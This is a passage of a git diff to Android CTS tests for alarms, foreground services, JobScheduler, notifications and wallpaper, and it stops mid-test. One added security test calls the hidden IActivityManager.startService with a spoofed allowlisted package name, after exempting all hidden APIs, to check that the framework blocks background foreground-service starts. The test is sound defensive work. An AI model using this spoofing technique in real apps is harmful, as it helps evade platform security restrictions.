@@ -33,10 +36,18 @@
         final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
         final long id = intent.getLongExtra(EXTRA_ID, -1);
         Log.d(TAG, "Alarm " + id + " expired " + count + " times");
-        final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
-        reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
-        reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+        final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED)
+                .putExtra(EXTRA_ALARM_COUNT, count)
+                .setPackage(INSTRUMENTATION_PACKAGE)
+                .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+        if (intent.getBooleanExtra(TestAlarmScheduler.EXTRA_TEST_FGS, false)) {
+            final String result = FgsTester.tryStartingFgs(context);
+            Log.d(TAG, "FGS start result: " + result);
+            reportAlarmIntent.putExtra(FgsTester.EXTRA_FGS_START_RESULT, result);
+        }
         context.sendBroadcast(reportAlarmIntent);
     }
 }
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
index d9db0b0..78eb875 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
@@ -40,6 +40,7 @@
     public static final String EXTRA_TYPE = PACKAGE_NAME + ".extra.TYPE";
     public static final String ACTION_SET_ALARM_CLOCK = PACKAGE_NAME + ".action.SET_ALARM_CLOCK";
     public static final String EXTRA_ALARM_CLOCK_INFO = PACKAGE_NAME + ".extra.ALARM_CLOCK_INFO";
+    public static final String EXTRA_TEST_FGS = PACKAGE_NAME + ".extra.TEST_FGS";
     public static final String ACTION_CANCEL_ALL_ALARMS = PACKAGE_NAME + ".action.CANCEL_ALARMS";
 
     @Override
@@ -49,6 +50,7 @@
         receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         final long id = SystemClock.elapsedRealtime();
         receiverIntent.putExtra(TestAlarmReceiver.EXTRA_ID, id);
+        receiverIntent.putExtra(EXTRA_TEST_FGS, intent.getBooleanExtra(EXTRA_TEST_FGS, false));
         final PendingIntent alarmClockSender = PendingIntent.getBroadcast(context, 0,
                 receiverIntent, PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
         final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent,
diff --git a/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/FgsTester.java b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/FgsTester.java
new file mode 100644
index 0000000..f3e0be6
--- /dev/null
+++ b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/FgsTester.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts.common;
+
+import android.app.ForegroundServiceStartNotAllowedException;
+import android.content.Context;
+import android.content.Intent;
+
+public class FgsTester {
+    public static final String EXTRA_FGS_START_RESULT =
+            "android.alarmmanager.alarmtestapp.cts.common.extra.FGS_START_RESULT";
+
+    private FgsTester() {
+    }
+
+    public static String tryStartingFgs(Context context) {
+        String result;
+        try {
+            // Try starting a foreground service.
+            Intent i = new Intent(context, TestService.class);
+            context.startForegroundService(i);
+
+            result = ""; // Indicates success
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            result = "ForegroundServiceStartNotAllowedException was thrown";
+        } catch (Exception e) {
+            result = "Unexpected exception was thrown: " + e;
+        }
+        return result;
+    }
+}
diff --git a/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java
index 9adc4a7..573d10c 100644
--- a/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java
+++ b/tests/AlarmManager/app_common/src/android/alarmmanager/alarmtestapp/cts/common/PermissionStateChangedReceiver.java
@@ -17,7 +17,6 @@
 package android.alarmmanager.alarmtestapp.cts.common;
 
 import android.app.AlarmManager;
-import android.app.ForegroundServiceStartNotAllowedException;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -30,41 +29,26 @@
 public class PermissionStateChangedReceiver extends BroadcastReceiver {
     private static final String TAG = PermissionStateChangedReceiver.class.getSimpleName();
     private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts.common";
-
     private static final String MAIN_CTS_PACKAGE = "android.alarmmanager.cts";
 
-    public static String ACTION_FGS_START_RESULT = PACKAGE_NAME + ".action.FGS_START_RESULT";
-    public static String EXTRA_FGS_START_RESULT = PACKAGE_NAME + ".extra.FGS_START_RESULT";
+    public static final String ACTION_FGS_START_RESULT = PACKAGE_NAME + ".action.FGS_START_RESULT";
 
     @Override
     public void onReceive(Context context, Intent intent) {
         Log.d(TAG, "Broadcast received: " + intent);
         if (AlarmManager.ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED
                 .equals(intent.getAction())) {
-            tryStartingFgs(context);
+
+            final String result = FgsTester.tryStartingFgs(context);
+
+            // Send the result broadcast to the main CTS package.
+            final Intent response = new Intent(ACTION_FGS_START_RESULT);
+            response.setPackage(MAIN_CTS_PACKAGE);
+            response.putExtra(FgsTester.EXTRA_FGS_START_RESULT, result);
+
+            Log.d(TAG, "Sending response: " + result);
+            context.sendBroadcast(response);
         }
     }
 
-    private void tryStartingFgs(Context context) {
-        String result = "Unknown failure";
-        try {
-            // Try starting a foreground service.
-            Intent i = new Intent(context, TestService.class);
-            context.startForegroundService(i);
-
-            result = ""; // Indicates success
-        } catch (ForegroundServiceStartNotAllowedException e) {
-            result = "ForegroundServiceStartNotAllowedException was thrown";
-        } catch (Exception e) {
-            result = "Unexpected exception was thrown: " + e;
-        }
-
-        // Send the result broadcast to the main CTS package.
-        Intent response = new Intent(ACTION_FGS_START_RESULT);
-        response.setPackage(MAIN_CTS_PACKAGE);
-        response.putExtra(EXTRA_FGS_START_RESULT, result);
-
-        Log.d(TAG, "Sending response: " + result);
-        context.sendBroadcast(response);
-    }
 }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
index 0cf62ed..44780e7 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
@@ -26,6 +26,9 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
+import android.alarmmanager.alarmtestapp.cts.common.FgsTester;
 import android.alarmmanager.alarmtestapp.cts.common.PermissionStateChangedReceiver;
 import android.alarmmanager.alarmtestapp.cts.common.RequestReceiver;
 import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
@@ -34,6 +37,7 @@
 import android.app.AlarmManager;
 import android.app.AppOpsManager;
 import android.app.PendingIntent;
+import android.app.compat.CompatChanges;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -142,6 +146,7 @@
                 .with("allow_while_idle_quota", ALLOW_WHILE_IDLE_QUOTA)
                 .with("allow_while_idle_compat_quota", ALLOW_WHILE_IDLE_COMPAT_QUOTA)
                 .with("allow_while_idle_window", ALLOW_WHILE_IDLE_WINDOW)
+                .with("kill_on_schedule_exact_alarm_revoked", false)
                 .commitAndAwaitPropagation();
     }
 
@@ -155,8 +160,6 @@
     public void enableChanges() {
         Utils.enableChangeForSelf(AlarmManager.REQUIRE_EXACT_ALARM_PERMISSION);
         Utils.enableChangeForSelf(AlarmManager.ENABLE_USE_EXACT_ALARM);
-        Utils.enableChange(AlarmManager.SCHEDULE_EXACT_ALARM_DENIED_BY_DEFAULT, TEST_APP_PACKAGE,
-                sContext.getUserId());
     }
 
     @After
@@ -191,14 +194,14 @@
                         PackageManager.DONT_KILL_APP));
     }
 
-    private void resetAppOps() throws IOException {
+    @After
+    public void resetAppOps() throws IOException {
         AppOpsUtils.reset(TEST_APP_PACKAGE);
+        AppOpsUtils.reset(TEST_APP_30);
     }
 
     @After
     public void restoreAlarmManagerConstants() throws IOException {
-        // App ops must be reset while kill_on_schedule_exact_alarm_revoked=false
-        resetAppOps();
         mDeviceConfigHelper.restoreAll();
     }
 
@@ -247,21 +250,25 @@
     }
 
     @Test
+    public void scheduleExactAlarmChangeDisabled() {
+        assertFalse(CompatChanges.isChangeEnabled(
+                AlarmManager.SCHEDULE_EXACT_ALARM_DENIED_BY_DEFAULT));
+    }
+
+    @Test
     public void defaultBehaviorWhenChangeDisabled() throws Exception {
         setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_DEFAULT);
-        mDeviceConfigHelper.with("schedule_exact_alarm_denied_by_default", false)
-                .commitAndAwaitPropagation();
         assertTrue(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
 
         mDeviceConfigHelper.with("exact_alarm_deny_list", TEST_APP_PACKAGE)
                 .commitAndAwaitPropagation();
-        // Just to give some time for the app kill to complete.
-        Thread.sleep(1000);
         assertFalse(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
     }
 
     @Test
-    public void noPermissionByDefault() throws Exception {
+    public void defaultBehaviorWhenChangeEnabled() throws Exception {
+        Utils.enableChange(AlarmManager.SCHEDULE_EXACT_ALARM_DENIED_BY_DEFAULT, TEST_APP_PACKAGE,
+                sContext.getUserId());
         setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_DEFAULT);
         assertFalse(getCanScheduleExactAlarmFromTestApp(TEST_APP_PACKAGE));
     }
@@ -362,6 +369,61 @@
                 () -> mWhitelistManager.addToWhitelist(sContext.getOpPackageName()));
     }
 
+    private void setAlarmClockForFgs(long triggerRTC, String testAppName) throws Exception {
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final AtomicInteger result = new AtomicInteger(-1);
+
+        AlarmManager.AlarmClockInfo alarmInfo = new AlarmManager.AlarmClockInfo(triggerRTC, null);
+
+        final Intent requestToTestApp = new Intent(TestAlarmScheduler.ACTION_SET_ALARM_CLOCK)
+                .setClassName(testAppName, TestAlarmScheduler.class.getName())
+                .putExtra(TestAlarmScheduler.EXTRA_ALARM_CLOCK_INFO, alarmInfo)
+                .putExtra(TestAlarmScheduler.EXTRA_TEST_FGS, true)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+        sContext.sendOrderedBroadcast(requestToTestApp, null, new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                result.set(getResultCode());
+                resultLatch.countDown();
+            }
+        }, null, Activity.RESULT_CANCELED, null, null);
+
+        assertTrue("Timed out waiting for response from helper app " + testAppName,
+                resultLatch.await(10, TimeUnit.SECONDS));
+        assertEquals(Activity.RESULT_OK, result.get());
+    }
+
+    @Test
+    public void alarmClockAllowsFGS() throws Exception {
+        setAppOp(TEST_APP_PACKAGE, AppOpsManager.MODE_ALLOWED);
+
+        final long triggerRtc = System.currentTimeMillis() + 5_000;
+        setAlarmClockForFgs(triggerRtc, TEST_APP_PACKAGE);
+
+        final AtomicReference<String> resultHolder = new AtomicReference<>();
+        final CountDownLatch alarmLatch = new CountDownLatch(1);
+
+        final IntentFilter filter = new IntentFilter(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
+        final BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.d(TAG, "Received response intent: " + intent);
+                resultHolder.set(intent.getStringExtra(FgsTester.EXTRA_FGS_START_RESULT));
+                alarmLatch.countDown();
+            }
+        };
+        sContext.registerReceiver(receiver, filter);
+        try {
+            Thread.sleep(5_000);
+            assertTrue("AlarmClock expiration not reported",
+                    alarmLatch.await(30, TimeUnit.SECONDS));
+            assertEquals("FGS result should be empty", "", resultHolder.get());
+        } finally {
+            sContext.unregisterReceiver(receiver);
+        }
+    }
+
     @Test
     public void setAlarmClockWithPermission() throws Exception {
         final long now = System.currentTimeMillis();
@@ -383,7 +445,6 @@
                 TEST_APP_PACKAGE);
     }
 
-
     @Test
     public void setExactAwiWithoutPermissionOrWhitelist() throws Exception {
         revokeAppOp(TEST_APP_PACKAGE);
@@ -577,7 +638,7 @@
             public void onReceive(Context context, Intent intent) {
                 Log.d(TAG, "Received response intent: " + intent);
                 resultHolder.set(intent.getStringExtra(
-                        PermissionStateChangedReceiver.EXTRA_FGS_START_RESULT));
+                        FgsTester.EXTRA_FGS_START_RESULT));
                 latch.countDown();
             }
         };
@@ -618,7 +679,7 @@
             public void onReceive(Context context, Intent intent) {
                 Log.d(TAG, "Received response intent: " + intent);
                 resultHolder.set(intent.getStringExtra(
-                        PermissionStateChangedReceiver.EXTRA_FGS_START_RESULT));
+                        FgsTester.EXTRA_FGS_START_RESULT));
                 latch.countDown();
             }
         };
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 3ec265d..b885a57 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -1054,6 +1054,7 @@
 
     @Test
     public void testRestrictingStopReason_Quota() throws Exception {
+        assumeTrue("app standby not enabled", mAppStandbyEnabled);
         assumeFalse("not testable in automotive device", mAutomotiveDevice); // Test needs battery
         assumeFalse("not testable in leanback device", mLeanbackOnly); // Test needs battery
 
@@ -1082,6 +1083,7 @@
 
     @Test
     public void testRestrictingStopReason_ExpeditedQuota_startOnCharging() throws Exception {
+        assumeTrue("app standby not enabled", mAppStandbyEnabled);
         assumeFalse("not testable in automotive device", mAutomotiveDevice); // Test needs battery
         assumeFalse("not testable in leanback device", mLeanbackOnly); // Test needs battery
 
@@ -1112,6 +1114,7 @@
 
     @Test
     public void testRestrictingStopReason_ExpeditedQuota_noCharging() throws Exception {
+        assumeTrue("app standby not enabled", mAppStandbyEnabled);
         assumeFalse("not testable in automotive device", mAutomotiveDevice); // Test needs battery
         assumeFalse("not testable in leanback device", mLeanbackOnly); // Test needs battery
 
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
index 54ee715..cbf6fe2 100644
--- a/tests/MediaProviderTranscode/Android.bp
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -32,8 +32,7 @@
     ],
 
     min_sdk_version: "30",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
     certificate: "media",
     java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"]
 }
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 92c96a6..57d60f2 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -444,8 +444,6 @@
     public void testMultiSelect_previewVideoControlsVisibility() throws Exception {
         launchPreviewMultipleWithVideos(/* videoCount */ 3);
 
-        mDevice.waitForIdle();
-
         final UiObject playPauseButton = findPlayPauseButton();
         final UiObject muteButton = findMuteButton();
         // Check that buttons auto hide.
@@ -575,6 +573,10 @@
         // buffering -> ready state takes around 10s.
         final long playbackStartTimeout = 10000;
         (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout);
+
+        // Wait for Binder calls to complete and device to be idle
+        MediaStore.waitForIdle(mContext.getContentResolver());
+        mDevice.waitForIdle();
     }
 
     private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton,
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 5e154f7..26ab62b 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -19,15 +19,19 @@
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.ForegroundServiceStartNotAllowedException;
+import android.app.IActivityManager;
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
+import android.os.RemoteException;
+import android.text.TextUtils;
 import android.util.ArrayMap;
 import android.util.Log;
 
@@ -61,6 +65,7 @@
     public static final int COMMAND_START_FOREGROUND_SERVICE_STICKY = 20;
     public static final int COMMAND_STOP_FOREGROUND_SERVICE_STICKY = 21;
     public static final int COMMAND_EMPTY = 22;
+    public static final int COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME = 23;
 
     public static final int RESULT_CHILD_PROCESS_STARTED = IBinder.FIRST_CALL_TRANSACTION;
     public static final int RESULT_CHILD_PROCESS_STOPPED = IBinder.FIRST_CALL_TRANSACTION + 1;
@@ -170,6 +175,9 @@
                 break;
             case COMMAND_EMPTY:
                 break;
+            case COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME:
+                doStartForegroundServiceSpoofPackageName(context, intent);
+                break;
         }
     }
 
@@ -371,6 +379,56 @@
         }).start();
     }
 
+    /**
+     * Directly call IActivityManager.startService() using a spoofed packageName which is known to
+     * be allowlisted by Android framework to be able to start foreground service
+     * from the background. Framework will disallow the foreground service to start from the
+     * background and a ForegroundServiceStartNotAllowedException will be caught.
+     * @param context
+     * @param commandIntent
+     */
+    private void doStartForegroundServiceSpoofPackageName(Context context, Intent commandIntent) {
+        String targetPackage = getTargetPackage(commandIntent);
+        Intent fgsIntent = new Intent();
+        fgsIntent.putExtras(commandIntent);
+        fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
+        int command = LocalForegroundService.COMMAND_START_FOREGROUND;
+        fgsIntent.putExtras(LocalForegroundService.newCommand(command));
+        try {
+            final PackageManager pm = context.getPackageManager();
+            String spoofPackageName = pm.getAttentionServicePackageName();
+            if (TextUtils.isEmpty(spoofPackageName)) {
+                Log.d(TAG, "getAttentionServicePackageName() returns empty");
+                spoofPackageName = pm.getSystemCaptionsServicePackageName();
+            }
+            if (TextUtils.isEmpty(spoofPackageName)) {
+                Log.d(TAG, "getSystemCaptionsServicePackageName() returns empty");
+                spoofPackageName = "android";
+            }
+            Log.d(TAG, "spoofPackageName: " + spoofPackageName);
+            final IBinder activityProxy = android.os.ServiceManager.getService("activity");
+            // Call IActivityManager.startService() directly using a spoofed packageName.
+            IActivityManager.Stub.asInterface(activityProxy).startService(
+                    context.getIApplicationThread(),
+                    fgsIntent,
+                    null,
+                    true,
+                    spoofPackageName,
+                    null,
+                    android.os.Process.myUserHandle().getIdentifier()
+            );
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            Log.d(TAG, "startForegroundService gets an "
+                    + " ForegroundServiceStartNotAllowedException", e);
+        } catch (LinkageError e) {
+            // IActivityManager.startService() is a hidden API, access hidden API could get
+            // LinkageError, consider the test as pass if we get LinkageError.
+            Log.d(TAG, "startForegroundService gets an LinkageError", e);
+        } catch (RemoteException e) {
+            Log.d(TAG, "startForegroundService gets an RemoteException", e);
+        }
+    }
+
     private String getTargetPackage(Intent intent) {
         return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
     }
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 0f98cdf..ff40aff 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -60,6 +60,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
@@ -2015,6 +2016,52 @@
     }
 
     /**
+     * IActivityManager.startService() is called directly (does not go through
+     * {@link Context#startForegroundService(Intent)}, a spoofed packageName "com.google.android.as"
+     * is used as callingPackage. Although "com.google.android.as" is allowlisted to start
+     * foreground service from the background, but framework will detect this is a spoofed
+     * packageName and disallow foreground service start from the background.
+     * @throws Exception
+     */
+    @Test
+    public void testSpoofPackageName() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        // CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME needs access
+        // to hidden API PackageManager.getAttentionServicePackageName() and
+        // PackageManager.getSystemCaptionsServicePackageName(), so we need to call
+        // hddenApiSettings.set("*") to exempt the hidden APIs.
+        SettingsSession<String> hiddenApiSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(
+                        Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+                Settings.Global::getString, Settings.Global::putString);
+        hiddenApiSettings.set("*");
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_SPOOF_PACKAGE_NAME,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+        } finally {
+            uid1Watcher.finish();
+            if (hiddenApiSettings != null) {
+                hiddenApiSettings.close();
+            }
+        }
+    }
+
+    /**
      * Turn on the FGS BG-launch restriction. DeviceConfig can turn on restriction on the whole
      * device (across all apps). AppCompat can turn on restriction on a single app package.
      * @param enable true to turn on restriction, false to turn off.
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index c879337..b10c960 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -60,7 +60,6 @@
         assertEquals(null, channel.getGroup());
         assertTrue(channel.getLightColor() == 0);
         assertFalse(channel.canBubble());
-        assertFalse(channel.isImportanceLockedByOEM());
         assertEquals(IMPORTANCE_UNSPECIFIED, channel.getOriginalImportance());
         assertNull(channel.getConversationId());
         assertNull(channel.getParentChannelId());
@@ -197,13 +196,6 @@
         assertTrue(channel.isBlockable());
     }
 
-    public void testIsImportanceLockedByOEM() {
-        NotificationChannel channel =
-                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
-        channel.setImportanceLockedByOEM(true);
-        assertTrue(channel.isImportanceLockedByOEM());
-    }
-
     public void testSystemBlockable() {
         NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
         assertEquals(false, channel.isBlockable());
diff --git a/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java b/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java
index ffafb06..b208801 100644
--- a/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerBubbleTest.java
@@ -16,6 +16,9 @@
 
 package android.app.cts;
 
+import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
+import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
 import static android.app.Notification.FLAG_BUBBLE;
 import static android.app.NotificationManager.BUBBLE_PREFERENCE_ALL;
 import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
@@ -49,6 +52,8 @@
 import android.content.LocusId;
 import android.graphics.drawable.Icon;
 import android.os.Bundle;
+import android.permission.PermissionManager;
+import android.permission.cts.PermissionUtils;
 import android.provider.Settings;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
@@ -69,6 +74,8 @@
 
     private static final String TAG = NotificationManagerBubbleTest.class.getSimpleName();
 
+    private static final String STUB_PACKAGE_NAME = "android.app.stubs";
+
     // use a value of 10000 for consistency with other CTS tests (see
     // android.server.wm.intentLaunchRunner#ACTIVITY_LAUNCH_TIMEOUT)
     private static final int ACTIVITY_LAUNCH_TIMEOUT = 10000;
@@ -79,6 +86,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        PermissionUtils.grantPermission(STUB_PACKAGE_NAME, POST_NOTIFICATIONS);
+        PermissionUtils.grantPermission(mContext.getPackageName(), POST_NOTIFICATIONS);
 
         // This setting is forced on / off for certain tests, save it & restore what's on the
         // device after tests are run
@@ -99,6 +108,17 @@
 
         // Restore bubbles setting
         setBubblesGlobal(mBubblesEnabledSettingToRestore);
+
+        // Use test API to prevent PermissionManager from killing the test process when revoking
+        // permission.
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mContext.getSystemService(PermissionManager.class)
+                        .revokePostNotificationPermissionWithoutKillForTest(
+                                mContext.getPackageName(),
+                                android.os.Process.myUserHandle().getIdentifier()),
+                REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL,
+                REVOKE_RUNTIME_PERMISSIONS);
+        PermissionUtils.revokePermission(STUB_PACKAGE_NAME, POST_NOTIFICATIONS);
     }
 
     private boolean isBubblesFeatureSupported() {
@@ -158,8 +178,8 @@
         boolean notificationFound = false;
         boolean bubbleStateMatches = false;
         try {
-            // Wait up to 2 seconds for the notification
-            for (int i = 0; i < 20; i++) {
+            // Wait up to 5 seconds for the notification
+            for (int i = 0; i < 50; i++) {
                 // FLAG_BUBBLE relies on notification being posted, wait for notification listener
                 Thread.sleep(100);
                 for (StatusBarNotification sbn : mListener.mPosted) {
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index fc640a5..7fbd297 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -29,7 +29,6 @@
 import static org.mockito.Mockito.spy;
 import static org.mockito.Mockito.verify;
 
-import android.Manifest;
 import android.app.WallpaperColors;
 import android.app.WallpaperManager;
 import android.app.stubs.R;
@@ -52,8 +51,6 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CddTest;
-
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
@@ -71,9 +68,6 @@
 
     private static final boolean DEBUG = false;
     private static final String TAG = "WallpaperManagerTest";
-    private static final long MAX_WAIT_TIME_SECS = 2;
-    private static final long MAX_WAIT_TIME_MS = MAX_WAIT_TIME_SECS * 1000;
-    private static final long WAIT_TIME_INCR_MS = 100;
 
     private WallpaperManager mWallpaperManager;
     private Context mContext;
@@ -81,7 +75,6 @@
     private BroadcastReceiver mBroadcastReceiver;
     private CountDownLatch mCountDownLatch;
     private boolean mEnableWcg;
-    private boolean mAcquiredWallpaperDimmingPermission = false;
 
     @Before
     public void setUp() throws Exception {
@@ -113,24 +106,6 @@
         if (mBroadcastReceiver != null) {
             mContext.unregisterReceiver(mBroadcastReceiver);
         }
-        if (mAcquiredWallpaperDimmingPermission) {
-            try {
-                mWallpaperManager.setWallpaperDimAmount(0f);
-                assertDimAmountEqualsTo(0f);
-            } finally {
-                InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                        .dropShellPermissionIdentity();
-                mAcquiredWallpaperDimmingPermission = false;
-            }
-        }
-    }
-
-    private void ensureSetWallpaperDimAmountPermissionIsGranted() {
-        if (!mAcquiredWallpaperDimmingPermission) {
-            InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_DIM_AMOUNT);
-            mAcquiredWallpaperDimmingPermission = true;
-        }
     }
 
     @Test
@@ -428,96 +403,6 @@
         }
     }
 
-    @Test
-    public void testGetWallpaperDimAmountWithNoPermission_shouldThrowException() {
-        Assert.assertThrows(SecurityException.class,
-                () -> mWallpaperManager.getWallpaperDimAmount());
-    }
-
-    @Test
-    public void testSetWallpaperDimAmountWithNoPermission_shouldThrowException() {
-        Assert.assertThrows(SecurityException.class,
-                () -> {
-                    float dimAmount = 0.5f;
